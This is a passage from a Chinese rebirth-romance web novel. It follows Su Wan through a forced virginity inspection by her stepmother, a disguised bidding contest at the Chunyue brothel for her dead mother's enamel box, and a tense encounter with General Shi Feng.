“你说你没偷腥，还拉了许多人做证。徐嬷嬷迟暮之年，老眼昏花，一丈开外之处，是人是狗都分不清，如何替你做人证？你还寻了我的人为你遮掩真相，我问过阿沁，她送钗环的时候，说你正在沐浴更衣，并未亲眼目睹本人，如何证明你没扯谎？你若说不清楚，别想竖着出去这厅堂。”
“至于那名小厮，我正要差人审问他，哪知道他竟打烂柴房门锁，逃之夭夭。不是畏罪潜逃，还会是什么？”
苏夫人一席话语，直击得苏绾五脏六腑冰寒彻骨。
她被苏沅芷陷害，骗至西厢房后被人一棍子敲晕，期间无霜被人借故支开，使她错过徐嬷嬷和阿沁的到访。正如苏夫人所说，她并无在场证明。
她从时枫那里脱身后，曾暗地嘱咐无霜，打发随从奴仆文竹拦截逃跑的小厮，威逼利诱买通他撒谎。待厅堂审讯结束后，文竹又悄悄打开柴门，放走小厮。
上一世，那名小厮完成任务后，回到乡下老家避难，被温如初逮住，放猎狗活活咬死。是以文竹特别嘱咐小厮，千万不可返回老家，天涯海角随你选。
至于苏沅芷，不过是顺手惩治她，谁让她先动手使坏。虽然最后在温如初斡旋下，苏绾得以恢复清白，然而此举也促进婚约进程，导致她同年七月就嫁入温家，提前开启地狱之旅。
百密一疏，她低估了苏夫人的聪明才智，竟被看出逻辑破洞。这一回，恐怕难逃苏夫人的火眼金睛。
苏夫人饧眼望着苏绾，嘴角挂着鄙夷且自负的笑容，蔻丹手指半拢着，轻轻扣敲茶案。
苏殷氏本为江南世家小姐，书香门第，家世显赫。母兄殷潜官至从二品浙江布政使，曾祖父曾任宰相，家中世代为官。
苏君识当年不过一介穷书生，殿试三甲第一名进士。殷老太爷看中他一品人才，白衣公卿，有意招赘他为婿，纳入殷家门下。
谁知苏君识年轻气盛，死活不肯入赘，硬要靠自己打拼。后屈于势力压迫，被迫娶殷家小姐进门，官场沉浮二十年，青松落色，混得不过尔尔。
苏殷氏拿捏住他，常常耳提面命，称他不识抬举。苏君识悔不当初，如今年过四旬，亦是有心无力。
苏殷氏心高气傲，凡事都想争头名，无奈嫁错夫君，落得一世平凡。争名夺利之路走不通，便力图在深宅大院逞脂粉英雄。
自她进门以后，勒令苏君识不得纳妾，连出去应酬每每都要过问三番。
某年苏殷氏抓到苏君识养了一房外室，她擅作主张，亲自接外室进苏家门。后又寻了不是，将那外室治罪溺死。
苏君识虽有怨怼，亦不敢当面忤逆她，此事不了了之。
那外室便是苏绾的亲娘。
苏绾跪坐在地，捋了捋额间散落青丝，面容坦然，“母亲所言甚是，人证物证不足为信，我亦无法自证清白。唯有验明正身，方能还我公道。”
“但我也不是任人摆布的傀儡，若能验明我清白之身，母亲须给予我一个承诺：苏沅芷搬弄是非，陷我于不义，当以家法伺候，再去祠堂下跪，面壁思过，三日不得进食。母亲也当亲自向我道歉赔不是，从此不得再拿此话题说事。”
“倘若母亲不肯依，那便不要验我，今日之事到此为止，只当没发生过，我亦不会记恨苏沅芷。”
苏绾眼眸一凛，寒影曝射，“母亲可愿给予承诺？”
厅堂昏暗烛火，映照苏绾本来惨白的面容，温暖红润，如女神般威武不能屈。
苏夫人身子摇了摇，发髻黄金分心明晃晃刺眼，哂笑道：“你少糊弄我，当我不敢撇下脸来验你的身？我什么风浪没见过，专门对付你们这些骚浪蹄子。你娘当初也那般信誓旦旦，坚称自己没卖肉偷汉子，结果还不是人赃并获。可见天理轮回，公道自在人心。”
苏夫人果然见多识广，她判断苏绾不过虚张声势忽悠她。苏沅芷即便当真设计捉奸，也不会蠢到自己打自己脸。
奸夫必定真有其人。
按照所述当时情景，苏绾看似轻车熟路，提亲当日胡作非为，绝不会是第一次偷腥，只怕失身已久。
她挥手招来四婆子，合力将苏绾抬到后厅隔间，鼓捣大约一炷香功夫，又将苏绾抬出来。
苏夫人急切问道：“怎样？”
婆子报告：“回禀夫人，二小姐乃完璧之身。”
苏夫人不死心，“你们可看清楚了？”
婆子老实回道：“奴婢看清楚了，那年二小姐手腕处种下的守宫砂仍在。奴婢们不放心，又亲自验了二小姐身子，确实清白无瑕。”
苏绾跪伏地面，石榴裙被磋磨得充满褶皱，裙角也有些残破，显然婆子们下手不轻。
她抬手拭去额间湿汗，冷笑道：“我说什么来着？苏家阖府从上到下从里到外烂透了。苏家脸面可不是被我丢掉的，莫不如先自察自省，看看自己做过哪些亏良心散德行的龌龊事，小心泼向别人的脏水洒到自家头上。”
苏绾加紧攻击，“事已至此，母亲总该履行承诺，向我赔礼道歉，惩罚苏沅芷。”她偏过额首，横眉冷对一众婆子家丁，命令道：“你们还愣着做甚？快拿苏沅芷去祠堂问罪。”
仆人们面面相觑，不知该如何处理，犹犹豫豫不敢行动。
苏夫人心情陡然跌落谷底，只恨自己看走了眼，竟被小小庶女算计，赔了夫人又折兵。思忖良久，竟也寻不到半点理由借口，只好忍气吞声，耍起无赖，“沅儿不是已经受到教训？甭管她是不是自作自受，面门捱那一下，已教她肠子悔青，你还想怎样？她毕竟是你的骨肉至亲，身体里都流淌着苏家血液。”
“
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你我母女之间，谈不上谁对谁错，为娘所做一切，还不都是为苏家门面繁荣兴盛。你作为苏家一分子，当以为苏家添光为己任，而不是揪着母亲姐姐的小错误，非要争一层脸皮。”
“此事就此作罢，苏家不会再追究任何人对错。”
左说右说，反正就是不愿兑现承诺。态度蛮横无理，与苏沅芷如出一辙。苏家人的丑陋嘴脸，苏绾两世早已看破看透，她嗤笑一声：“这个时候跟我谈骨肉亲情，才是我这辈子听过最好笑的笑话。”
她缓缓挺起胸膛，铿锵道：“你以为我愿意姓苏？我巴不得早点离开这吃人的家，此生再不回头，眼看着苏家大厦倾覆。”
苏夫人牙齿咬得咯咯响，但又没立场反驳苏绾，才厚脸皮拒绝兑现承诺。
苏君识探身讪讪道：“夫人息怒，贱女虽能逃过此劫，但她总有犯到咱们手里那日，将来再治她的罪就是。”
苏绾抬眸睇着她的“父亲”，眼底薄薄的悲凉浮漫出来。眼前这个人从未尽到做父亲的责任，对她亦无半点怜爱疼惜之情。
都是他的血肉骨亲，凭什么苏沅芷得万千宠爱，而她却如过街老鼠？既然不想要她这个女儿，当初为何生她？
越想越气，苏绾遂起报复心，“父亲近两年来，无故增添许多外勤公务，常常一走就是两三月。我倒是听闻一些风言风语，有人在通州宝坻县民居撞见父亲，听说还不止父亲一人，携家带口的，许是那人看错了，也未可知。”
苏君识一听，登时吓出一身冷汗。他的确偷偷在通州豢养一户外室，已生就子嗣，此事他瞒得很严，苏绾如何知晓？
苏绾自是无处得知。
上一世苏君识蒹葭倚玉，仗着温如初庇佑，行止跅弛胆大不少，不经过苏夫人同意，强行迎娶外室为妾，进门时儿子都已五六岁。
算一算，这房外室目前应是带着一岁左右的孩子，住在通州别院。
“夫人听我说……”
苏夫人满腔怒火正愁无处发泄，苏君识却是撞在刀口上。她也无暇辨别苏绾所言真假，宁可信其有，不可信其无，先治苏君识不忠不义罪名。苏夫人当即撂下脸来，也不听他辩解，召唤婆子收拾行囊，吵着闹着要回钱塘老家。
苏君识哄劝半宿，闹得鸡飞狗跳，阖府不得安宁，最后在书房草草睡下了事。
夜幕降临，缺月挂疏桐。
苏绾拖着疲惫不堪身体，被人架回闺房。
无霜见她浑身伤痕累累，体无完肤，尤其脖颈处已有些溃烂，不禁心痛地泪水涟涟。
“小姐何苦招惹这些是非？安心嫁给温侍郎，永远逃离这个恶魔之家，不好吗？”
傻孩子，温侍郎绝不是归宿，而是无间地狱，摧毁她所有的自尊自爱，剥夺她一切爱的权利，将她变成助纣为虐的虎伥。但愿她重活一世，不会再踏入当年的血泪之行一步。
上一世，她以身体和贞洁作为“敲门砖”，为温如初入阁前程铺平道路。可她尚未抚平身心伤口，又急匆匆得到下一项任务——引诱异姓王绥靖王，一品“威武将军”时枫。
那日亦是春和景明，波澜不惊。在五品东阁大学士温如初的书房内，她被剥光衣裳，当做一盘女体盛飨，横陈于玉石桌案。
“我不狎妓。”男人凤眸一凛，语气冷若冰霜。
彼时的时枫已经知晓，她作为章阁老的宠妾所做的荒唐霪乱之事，包括模仿她的玉体打造金银器皿。
男人视她为“妲己”祸国，狐媚子蛊惑人心，自然不会让她奸计得逞。
当她伸出酥臂，试图触碰他时，“威武将军”潇洒回转，顺手拔掉墙壁悬挂的宝剑。在苏绾脖颈处，挽了一个剑花，霎时乌发自耳根处齐刷刷截断，散做满天银河瀑布。
“念在温如初的情分，我不杀你。斩发如斩首，你当谨记在心。”
清冽凤眸睥睨窝在地上瑟瑟发抖的苏绾，男人冷冷如是说。
那日之后，苏绾顶着一头齐耳短发，被温如初关进狗笼整整一个月，以惩罚她引诱失败之举。而待她爬出狗笼时，灵魂陷入泥淖，脱胎换骨沦为彻彻底底的“恶之花”，成为祸国殃民的“一代妖姬”。
光影流转，簟纹如水帐如烟。
苏绾身子栽歪床头，望着窗外半边玄月，隐匿纤凝，始终不发一言。
7. 竞拍
纳征之后，苏夫人忙于同苏君识生闷气，将他铺盖卷了扔到书房，吃住均单独安排。
苏沅芷脸面受损，肌肉腠理腐烂，呈现蜈蚣状永久疤痕，终身残障。她精神严重受挫，时哭时笑，时好时坏，发作起来满地打滚，阖府不得安宁。
苏君识虽心疼爱女，然则留在宅子也不是办法，不得不将其送至承德避暑山庄，明为借热河疗养身体，实则藏匿毁容的千金小姐。
至此，苏家嫡女苏沅芷下线。
苏家对外疲于应付关于纳征纷争的闲言碎语，对内则偃旗息鼓，暂且放松对苏绾的折磨。苏夫人碍于对苏绾食言，颜面无光，遂不再提往事。苏绾得了空闲，休整调息十日，才算彻底从重生阴影走出来。
柳绿花红带春烟，韶光淑气，光景浑如初夏时。
这日，苏绾按照规矩，一早去同苏夫人请安。还未进厅堂，便听见谈话声。
“娘亲~”
苏家嫡子苏尽欢，特意反常例起了大早，将苏夫人堵在厅堂。苏尽欢乃纨绔子弟，玩日愒月，不学无术，家主花钱为他捐了秀才，当前赋闲在家。
“行院正举办‘拍卖会’，借着清理旧物库存的名头，竞拍姑娘们私人物品，招徕生意。只须一千两，便能买断春月坊的头牌‘青凤’，点她的大蜡烛。”
苏尽欢扯着苏夫人衣袖，咧开大嘴撒娇：“青凤姑娘自打从艺以来，莫说一千两，三千两都不见得冲你笑一笑。机不可失，时不再来。这样的便宜，打着灯笼找不准。”
按照苏夫人的习惯，狎妓□□，必是不允许的。许是近日苏老爷“举案齐眉”做得规范，让苏夫人心情大好，竟二话不说允了逆子一千两银子，喜得苏尽欢连连行大礼，拜谢“太后吉祥”。
苏绾无意探听这消息，如获至宝。她正有桩心事，她的娘亲九香离开“春月坊”时，曾留□□己物什给姐妹代为保存，只可惜未得机会赎回便香消玉殒。
上一世苏绾忌惮娘亲身份，从不敢擅自提起过去行院旧事，遑论跟行院打交道。
如今好不容易重生，不如趁此机会去趟“春月坊”，拿回娘亲遗物，也能留下念想。
既如此合计，苏绾放弃请安，匆匆回到闺房。她坐梳妆台前捯饬，涂抹脂膏，提高眉骨，团高发髻。又让小厮文竹去账房柜台，偷来几件新近裁剪的华服。
须臾，潇洒世家公子模样显露。
苏绾负着手，煞有介事转身，迈开方步，果真风流才子多春思。
她尝试利用口技，模仿公子语气问道：“在下这厢有礼，见过无霜小姐。”
无霜的小脸瞬间绯红，她捂着脸惊叫道：“小姐，你怎得听起来如男子无二致？”
苏绾做了个鬼脸，眼眸狡黠地眨了眨，“你家小姐的本事，可大着哩。”
她嘱咐无霜打掩护，自己外罩宽大的斗篷，头戴黑纱帷帽，从偏院悄无声息离开苏府。也不叫马车，只坐一顶轿子，摇摇晃晃，很快来到京城第一行院——“春月坊”。
行院门庭若市，人头攒动。灯起长廊，流斛伴影，香案环绕，摆满珍奇玩物，不乏舶来贡品。
果然，行院正举办一场史无前例的拍卖活动。每件物品代表一位花娘，恩客竞拍物品成功后，既得到该物件，同时也免费获赠花娘春宵一刻。
其实，就是变着法子做皮肉生意——亏了老鸨心思活络，生意头脑精明。
苏绾徜徉来回，还真在一堆物件中，发现娘亲的遗物——银胎掐丝珐琅盒。一拃来长，上镶仙芝祝寿花纹，胎质细腻致密，通体光滑如玉。
打从苏绾记事起，她就知晓娘亲拥有那银盒。十年前嫁入苏家时，九香预料苏夫人不会让她好过，遂留了一手，将银盒封漆存留给行院要好姐妹。
那位姐妹，想必也是值得信赖之人，并未私自占有，银盒原封未动。只是不知何故，银盒几经转手，现今归于一位名叫“宝蟾”的年轻花娘所有。大概名气不响，目前仅一位买家竞价。
苏绾按捺喜悦心情，向标的铭牌望去，瞬间冷水浇灌。上面写着买家名字“冰山客”，竞价五百两。
五、五百两。
据她所知，那位宝蟾姑娘并非头牌，价钱虚高如此，出乎意料之外。
再贵也得买，本着能省则省的原则，苏绾咬咬牙，在“五百”文字后面，标注“加一”，随手胡编个名字——“段公子”。
段公子溜达巡回，宝蟾姑娘的盒子，又多一条竞价：七百两。
好家伙，苏绾惊得直咋舌。这位恩客好大手笔，多半宝蟾姑娘的老相好，为她添名挣业绩呢。
苏绾不断腹诽，不得不继续跟价，依旧“加一”，让对方知难而退，她也少花点冤枉钱。
段公子嘬着一杯“大红袍”，再次转回台前。不出所料，盒子新价“八百五十”，等于苏绾十年积攒全部身家。
苏绾心头滴血，嗟叹时运不济，撞进“痴情富公子”表白“行院一枝花”现场。
颤抖着双手，段公子再次“加一”，其中一字歪歪斜斜，好似一条丑陋蚯蚓。
下完注，苏绾隐匿廊柱后方，窥探跟她抢生意之人——冰山客的真容。
不知何时，台前渐渐围满好奇的宾客，见他二人竞拍激烈，低头窃窃私语，讨论两位公子是何来头。
很快，穿戴整齐的侍从来到台前，果断写下“一千”二字，又转身趸进雅房。果然富家子弟，气派非凡，出入随行都有侍从。
将她抽筋剥骨，也榨不出一千两。
苏绾无奈叹口气，只得另谋打算。但她转念一想，既不让她好过，她非要让对方吃点亏不可。
段公子衣袖一甩，“加一”。
宾客大加赞赏，段公子好气魄。
这一次，侍从不再淡定，似乎犹豫不决，端着铭牌半天不肯下笔。中途又跑进门，再回来时，大笔一挥，“两千”。
段公子掩面失笑，摇了摇头，仰天故作叹息：“也罢，君子成人之美。段某祝冰山客与宝蟾姑娘，良缘似锦。”
一招“请君入瓮”，算是被苏绾玩明白了。
段公子拒绝跟进，冰山客豪掷两千，赢取青楼薄幸名。围观宾客纷纷咋舌，都道宝蟾姑娘遇见大主顾，竟然赢过头牌青凤。
雅间门洞开，侍从趸至台前，拾起铭牌瞥了一眼，“我们爷说，段公子承让了，两千毛毛雨，给宝蟾姑娘添两件首饰。”
他从怀里掏出一张银票示人，“这里是二十两，我们爷请段公子吃茶，出门右转茶摊大碗茶伺候。请~”
一面说，一面将银票狠狠摔案上，收起珐琅盒，转身决然进门。
见对方下了逐客令，段公子拈起银票仔细查看，对着雅间方向隔空拜了拜，“段某谢过。”言毕，亦甩袖潇洒离去。
就此一段冤案了结，众人皆大欢喜，直言今日这遭不白来。
苏绾按捺激动心情，出门绕了一圈，借人群掩映又悄悄返回行院。
嘻嘻，不过小施一计，害对方血亏不说，轻松赚取二十两纹银。
然而还不算完胜，看她再施一计“顺手牵羊”，或偷或骗或抢，盒子必须拿到手。
段公子趸上二楼，拦截正欲出台的宝蟾姑娘，凭借姣好皮相外加一张巧嘴，以错失竞拍良机为借口，打探“冰山客”来由。
令她惊讶的是，宝蟾并不认识这位冰山客，亦对其来意及阔绰手笔迷惑不解。
段公子微笑颔首，敬了一碗“大红袍”给宝蟾，看着她一饮而尽。
大约半刻钟功夫，宝蟾眉头微蹙，脸色发青，浑身发抖，双腿打着颤儿告别，急奔茅房。
段公子嘴角翘了翘，茶碗里哪有什么大红袍，是她方才外出隔壁药铺采买的番泻叶，有通便润肠功效，治一治宝蟾的便秘老毛病。
如玉公子轻轻阖合闺门，翻箱倒柜找出烟云罗纱裙，对镜贴花黄。
啧，今日的宝蟾姑娘，怎得格外美艳方物。
*
时枫近来运交华盖，登门造访发小纳征，平白无故惹出一身烦扰，心里这口闷气始终难以纾解。然他不欲与女子相计较，只当自己白日撞鬼，啐两口唾沫了事。
眼前正有件要事，亟待他解决。朝廷并非无故调任他这位“罪王世子”，当三品京卫指挥使。
前任指挥使勾结西南藩王，卖官鬻爵，密谋将藩王亲信安排皇帝
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鼻子底下共事。指挥使与亲信接头时，被锦衣卫扑个正着，捉拿羁押诏狱，京卫群龙无首。
京城正值多事之秋，时枫在这节骨眼走马上任，第一把火必然先将前任余党翦除干净。
京卫四品指挥佥事，绰号“三哥”，乃前任指挥使老部下，不可能不知其罪行。事发之时因病告假，未被抓住半点把柄。
时枫监察三哥月余，并未抓到任何实质证据。只查出三哥有一相好“宝蟾”，是“春月坊”的花娘，三哥每月休沐旬假都会点宝蟾的桩。
事发之日，三哥正是因为与宝蟾偷偷相会，才错过接头事宜，也因此捡了条性命。
三哥通敌线索查无实证，时枫只好打起宝蟾的主意，期望能从花娘嘴里套出蛛丝马迹。
可让谁去执行“套话”任务呢？
侍卫晴雷一听，摇头如拨浪鼓，“使不得使不得。”
他攥紧腰间雁翎刀，“属下年纪小，恐被反套路。况且——”他咽口吐沫说道：“属下尚未婚娶，传出去毁我清誉。”
晴雷年方十六，从小跟着时枫战场拼杀将近十年，跟随时枫调回京城。
时枫瞪他一眼，“你有屁清誉，留着自个儿玩吧。”
没办法，只得老将亲自出马，春月坊会一会美娇娘。正赶上行院举办旧物拍卖促销活动，所谓“买一赠一”，恩客须拍下花娘的信物，方得免费春宵一刻。
“都是噱头。”时枫啐了一口，扑棱躺倒红木塌床，翘起二郎腿。
窗格敞开，微风慵懒地拂过面颊，淡淡花香停留鼻尖，好似少女裙摆飘扬，时枫不知不觉睡着了。
梦中视野宽阔，圆月升紫湖，氤氲散高树。时枫侧卧湖边一席，临风对月畅饮，慨叹人生几何。
酒半微醺，忽见远处一白衣女子，自薄雾深处来时，匆匆一闪而过。
他揉了揉醉眼，疑心自己撞鬼。迷惘犹豫之际，白衣女子趸至湖边，扑通跳入深湖。
时枫蹭的跃起，纵身钻进水波，几个翻转，终于抓住女子，挣扎拖拉上岸。
见女子已然晕厥，时枫顾不得男女伦常，握拳敲击腹部，施展急救术。
未几暇，女子苏醒，翻身咳嗽呕水。时枫贴心地拍其后背。
等到女子略微好转，时枫这才得空定神睇她，不看不知道，白衣女子竟是温如初的新婚发妻，苏绾。
婚礼喜宴，他亲眼见证一对妙人喜结良缘。虽未目睹新娘娇容，新郎的风采与得意，写尽如玉面庞。
“为什么？”他感到迷惑不解。
苏绾无力地掀眸，眼神触碰到时枫，瞬间凝滞，如受惊的小兔，咬紧灰白嘴唇，瑟瑟发抖。
“是时、时将军，我、我知道错了。”
时枫疑心她尚未清醒，“你错在哪里？”
“我、我不该，弄脏将军的靴子。”
纳征宴席的一面之缘，的确触了他的霉头，但他后来得悉，罪魁祸首是苏家嫡女，所有误解也一并消除。
“该道歉的人，是我。我误会你了。”时枫咬了咬唇，他不擅长表达歉意。
苏绾摇了摇头，“不……不是误会。”
苍白的脸庞闪着晶莹微光，不知是泪，还是水。
“我这样的人，不干净……”
眼眸失去了光彩，余留灰蒙蒙鱼眼白。
时枫骤然感到心脏被人揪着不放，钻心地疼。他欲问清楚前因后果，可他决定暂时放弃这个念头，他有更重要的事情要做。
他攥了攥拳，“不要这么说。你是位好姑娘，要好好地活下去。”
“好好……活下去？”
眼眸瞬间点亮星辉，只一刹那，迅速黯淡，无力阖合。
苏绾又晕了过去。
望着破碎的玉兔，时枫犹豫一息，终放下心防，将苏绾横腰抱起。
怀抱中的身体轻飘飘，又沉甸甸，拉扯他的心，起起伏伏，上下颠簸。
蓦然间，心里产生一个想法，疯狂荒诞，违背人伦。
他想庇护她。
月辉映照，风散薄霭，忽然锦白衣袍眼前一闪。
“榆白，你怀里抱着的，可是我的妻？”
8. 会客
时枫猛然惊醒，慌乱中手脚乱抓乱踢，打翻塌几上的茶碗，咕噜咕噜，“啪嚓”一声摔地碎裂，惊得随从急上前来，连连问候。
原来是梦，他松口气。
梦里场景历历在目，内容匪夷所思。
他居然想要庇护一只狡猾的狐狸。是嫌自己受骗上当次数不够多？还是说，他天生有受虐狂倾向？
有病。他在心里暗骂自己。
时枫两手揉搓太阳穴，努力驱散不愉快的回忆，办正事要紧，他提醒自己。
随从麻利地收拾干净现场，上前拜道：“将军，咱们该下注了。”
晴雷死活不肯来行院，跟随他的是一名“经验颇丰”的九品知事，乃春月坊的熟客。依据知事建议，直接一口气掷五百两买断宝蟾，省去跟人竞拍的麻烦，避免意外发生。
然而越怕什么，越来什么。标的下注后，本以为十拿九稳，谁知半路杀出个程咬金，竟在“五百”其后，添了一笔“加一”。
什么意思？挑衅？
时枫蹙了蹙浓眉，命令知事提价“七百”。
结果，再次出现“加一”。
时枫不信邪，又将竞价提至“八百五十”、“一千”，不出所料，均被对方紧随其后。
知事亦头回遇见这等怪事，对方分明恶意标价，意在宝蟾姑娘乎？据他所知，宝蟾的相好，只有三哥，未曾听说其他恩客。
“将军，属下擒了那段公子，看他敢耍花招。”
行院搞出太大动静，让他这京卫指挥使颜面何存？鹞子还未捉到手，鸡飞蛋打一场空。
罢了，多一事不如少一事。
时枫凤眸一沉，“压他两千，再许二十两请他喝茶。倘若仍不知好歹，绑了手脚丢进清水河。”
不一会，知事回来禀报，段公子收银子走了。
时枫哼了一声，不过贪小便宜的浪荡子，咬着他不放就为挣点蝇头小利。
然而那两千的账，却要从他自己腰包里掏。出师未捷，自损两千，好不晦气。
好在标中宝蟾，亦算不虚此行。接下来，只要许她些好处，几两银子的事，管保从她嘴里抠出有价值的消息。
时枫咬了咬牙，怒发欲起立，“嘿吼嘿吼”给自己鼓劲。他活动筋骨，踢腿打拳，端出将军汗马百战场的架势，蓄势待发。
知事一旁捂嘴偷笑，从没见过嫖妓搞得像点将上战场，冷面将军照会老道花娘，话本子都没这么精彩。
*
一卷罗帕遮红颜，佳人玉立生此方。宝蟾姑娘步步生莲，袅袅婷婷立于雅间外。
冰山客，准备好迎接奴家否？
苏绾并非第一次设局诱捕野兽，“冷面阎罗”她都不放在眼里，还会怕他小小“冰山客”不成。
她胸有成竹，志在必得。非要从恩客手里，夺回母亲遗物不可。看她演这出“狸猫换太子”，杀他个出其不意，片甲不留。
“小女子宝蟾，拜会冰山公子。”
一声娇啼隔着木门钻入缝隙，痒痒的，挠人心房。
时枫兀自一愣，浑身莫名紧张。他同晴雷相比较，不过五十步笑百步。虽已弱冠之年，人生大半岁月皆在兵营沙场度过，并未积攒多少红楼经验。
他从塌床弹坐起身，一本正经整理衣襟，摩挲护腕处新近镶嵌的绿松石——托那位“疯婆子”的福，墨玉翡翠沦为苏家捉奸的物证。
知事见他这副生涩模样，憋笑憋得几欲咬碎后槽牙。敢情叱咤沙场的“冷面阎罗”，竟是位不沾风月的“正经人”。
时枫睨了知事一眼，吩咐道：“你监守门口，任何人不得擅入。倘若有人存心捣乱，直接绑了送入大牢。”
知事应允，心里嘀咕：谁有这胆子，敢跟时将军叫板，活腻歪了。
他边走边琢磨，伸手打开门，香风吹人花乱飞，迷了知事的眼。
朦胧间，见一女子薄纱半遮面，流盼眼眸，容颜昳丽，柳亸花娇。
他以为自己看错，努力揉搓眼皮，不禁暗自嗟叹：春月坊的二等花娘，姿色竟如此上乘。
女子嫣然一笑，直撞知事心窝。“经验颇丰”的老手，瞬间沦为裙下臣，目瞪口呆站立半晌，竟忘记迎接女子进门。
直到身后冷冷响起一声咳嗽，知事如梦方醒，“宝蟾姑娘，请～”
宝蟾点点头，摇曳跨越门槛，低首莲步堂前，羞涩福了福身，“小女子不才，承蒙公子垂青，祈愿尽心竭力服侍公子。”
窈窕淑女侍立半日，不见堂前任何回应，心里顿生疑窦。这位“冰山客”，难不成是哑巴？
苏绾抬起螓首，殷切目光望向面前端坐之人，不想撞进深邃乌云。
那片乌云深处，浸没一双同样震撼的眼眸，内藏万千深海。一道微光遽然闪过，倏然收拢复杂心绪。
“你果然是娼妓。”
怎么，是他？
苏绾心内一颤，刹那间，脑子里产生无数疑问，究竟哪项环节出了问题，百思不得其解。难道这一切，都是他设计的陷阱？莫非他早已知晓自己的来历和身份？
两世风云变幻，威武将军铠甲戎装，巍峨挺立，凤眸斜睨，寒光泼眼，嘴角冷冷迸出几个字：“我不狎妓。”
脑海被扑面而来的记忆阗满，令苏绾分不清前世今生，竟忘记驳斥“娼妓”一说，呆呆立在那里，站成一朵红云。
见她不予回复，男人沉着脸，凤眸泛起阴鸷，“还想狡辩？”他身子向前挺了挺，“你又如何解释，苏二小姐？”
一声“苏二小姐”，瞬间将苏绾拉回现实。谢天谢地，上一世的威武将军，可不会这样称呼她。
先不说对方为何会出现在行院，也不管他有没有发现她重生真相，眼前她假扮花娘被抓现行，传将出去苏家非剥她的皮不可，必须想办法脱身。
苏绾瞥了一眼窗格方向，二楼不算太高，破窗逃走的话，对方势必大张旗鼓捉拿她，整条街都知晓苏家二小姐来行院厮混。
唯有光明正大从正门走出去。
“公子真爱说笑。”宝蟾悄悄后退一步，莞尔道：“小女子乃春月坊的花娘，如假包换。怎会是什么苏二小姐？想必公子眼花，认错人了罢。”
时枫十分确定，眼前烟花女子，就是几日前将他耍得团团转的疯婆娘。那双澹如星子的眼眸，深深镌刻在他的记忆，挥之不去，连带着被蒙蔽戏弄的愤怒。
男人倚靠塌床椅背，嘴角飘出冷笑：“还在嘴硬。看来，你很喜欢当娼妓。”眼眸一沉，“天生的贱种。”
苏绾差点咬碎贝齿。
但她硬将怒火吞进肚，又往后退一步，满脸赔笑，“公子富埒陶白，怎知人间疾苦。哪有人天生就爱吃这口饭，不过混日子讨生活而已。”
退至门口，借故离开，是苏绾的应对之策。
但她拿不准对方底线在哪里，万一惹恼“冷面阎罗”，将她送入监牢，也不是不可能——他第一天就严辞警告过她。
距离门口，不过一丈远。
“不错，谁不是讨生活呢。”男人单膝支立，搭坐塌边，眸光佻达慵懒，“唱个小曲儿听听，唱得好的话，有赏。”摆出一副看好戏的架势。
“还是说，你不愿意？”语气紧迫，步步逼近。
苏绾当然不愿意，宝蟾就不一定了。
宝蟾浅笑道：“原来公子想要听曲儿，早说嘛，奴家最擅长的，就是唱小曲儿。”
宝蟾姑娘轻启朱唇，发皓齿，唱出几句吴侬软语；微拂玉手，流淌一段委婉苏腔。
一曲终了，花尽心思乱霏霏。
“公子满意否？”宝蟾笑意盈盈，眼眸泛波春水。
时枫听得愣神，他单晓得她是苏家二小姐，锦衣玉食，阳春白雪，不该带有市井烟火气。况且，还是江南苏腔软调。
可他不知道，九香乃扬州瘦马出身，清歌曼舞最是一绝，苏绾亦得母亲真传。而且上一世，温如初也曾送苏绾去教坊司学习各种歌舞乐艺技艺，伺候男人只是其中一项技能罢了。
“凑合。”男人咋了咋牙，“你还会别的什么？”
眼神飘向门口
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，还有最后一段距离。
宝蟾娇柔道：“妾送上一支《霓虹舞》给公子尽兴。”她请求道：“劳驾公子击案伴奏。”
得到对方应允，节奏响起。
但见宝蟾柳腰回转，水袖流风，起舞清影，化作玉蝶，花绊绮罗香。
时枫心内疑窦丛生，观其舞姿翩翩，非一日之功。歌舞俱佳，还会说书唱曲，难道她真是行院的花娘？
想来想去，不禁又有些头疼，索性闭上眼睛不去瞧那烦恼根源。
苏绾抬头望去，男人沉浸曼妙舞姿，闭目养神，似陷入无我境界。
好机会。
她抓住空隙，旋转几周至门前，双手猛然推开门，“抱歉，妾喝多凉茶，这会子身急，待我去去就回。”
门外站着知事，在她意料之中。行院人来人往，总不能在眼皮子底下强抢。
然苏绾算错一步。
她一眼瞥见人群里招摇过市的纨绔公子，手举铭牌大喊：“青凤姑娘，看我看我，我出一千两。”
青凤根本不瞧他，宝蟾都能卖出两千，她怎能甘居人后。
纨绔公子不识相，拨开层层叠叠人流，奔赴春月坊头牌，“青凤姑娘，我来了。”
好巧不巧，苏绾所处的雅间，正位于青凤背后。
糟糕。
苏绾这时出去，正面撞见苏尽欢，尴尬局面让她百口莫辩，还会被拖回府里羞辱。
被“冷面阎罗”识破真相，总好过被苏家拿住把柄。不过一匹野兽，白日当天，还能吃了她不成。
迎上知事错愕的眼神，宝蟾冲他嫣然一笑，旋裙娇嗔：“生意如此兴旺，嫲嫲撞头行大运。”
双手阖上屋门，苏绾眼眸一沉。宝蟾装不下去了，是时候以真面目示人。
素手掀开面纱，露出盛世容颜。心较比干多一窍，病如西子胜三分。闲静时如娇花照月，行动处似弱柳扶风，步步生莲花。
但愿能唬得住那匹猎兽。
“时将军，别来无恙。你可还好？”
时枫全程一动未动，坐看庭前花开花落。心里暗暗赞叹疯婆娘的胆量，竟敢当着他的面，大摇大摆启门脱逃。
这跟当众扇他耳光有何区别？
他已看清楚，今日这一局，意在敲诈他银钱，跟他竞标的“段公子”，分明就是疯婆娘假扮。她不是最擅长模仿别人言行？
先是段公子恶意竞拍，抬高价格，哄骗人跟拍。中途突然退出，害他白白付出二千白银。
又有花娘同恩客曲意逢迎，暗昧勾引。待鱼咬钩，来一出真正的“仙人跳”，榨取更多钱财。
没错，就是这样一位蛇蝎美人。
假如一开始，他是抱着报复纳征被戏耍的心情，想要看她出尽洋相，那么当前一刻，他已彻底放弃这种小儿心思。
他要让她，打从心眼里，后悔招惹他。
男人站起身，负手冷笑道：“少跟我套近乎，本将军初登贵宝殿，根本不认识你这号人物。”
堂内无端掀起阵阵阴风，撩动细长深邃眼角，蓦然杀气棱棱。
轮到苏绾愣神，拿不准对方葫芦里卖什么药，不至于睁眼瞎到看不出她是谁。
苏绾上前一步，距离时枫一丈远，障袂赔笑：“方才我不过跟将军开个小玩笑，见谅。您大人有大量，不必同小女子计较。至于奴家为何在此，还请将军听我细细道来……”
“不必。”男人不耐烦摆摆手。
他居高临下觑着她，声音冰冷而遥远，“买宝蟾姑娘花费两千两，是时候兑现交易。”
这家伙竟然还在玩角色扮演游戏，嫖客妓女戏码这么吸引人吗？
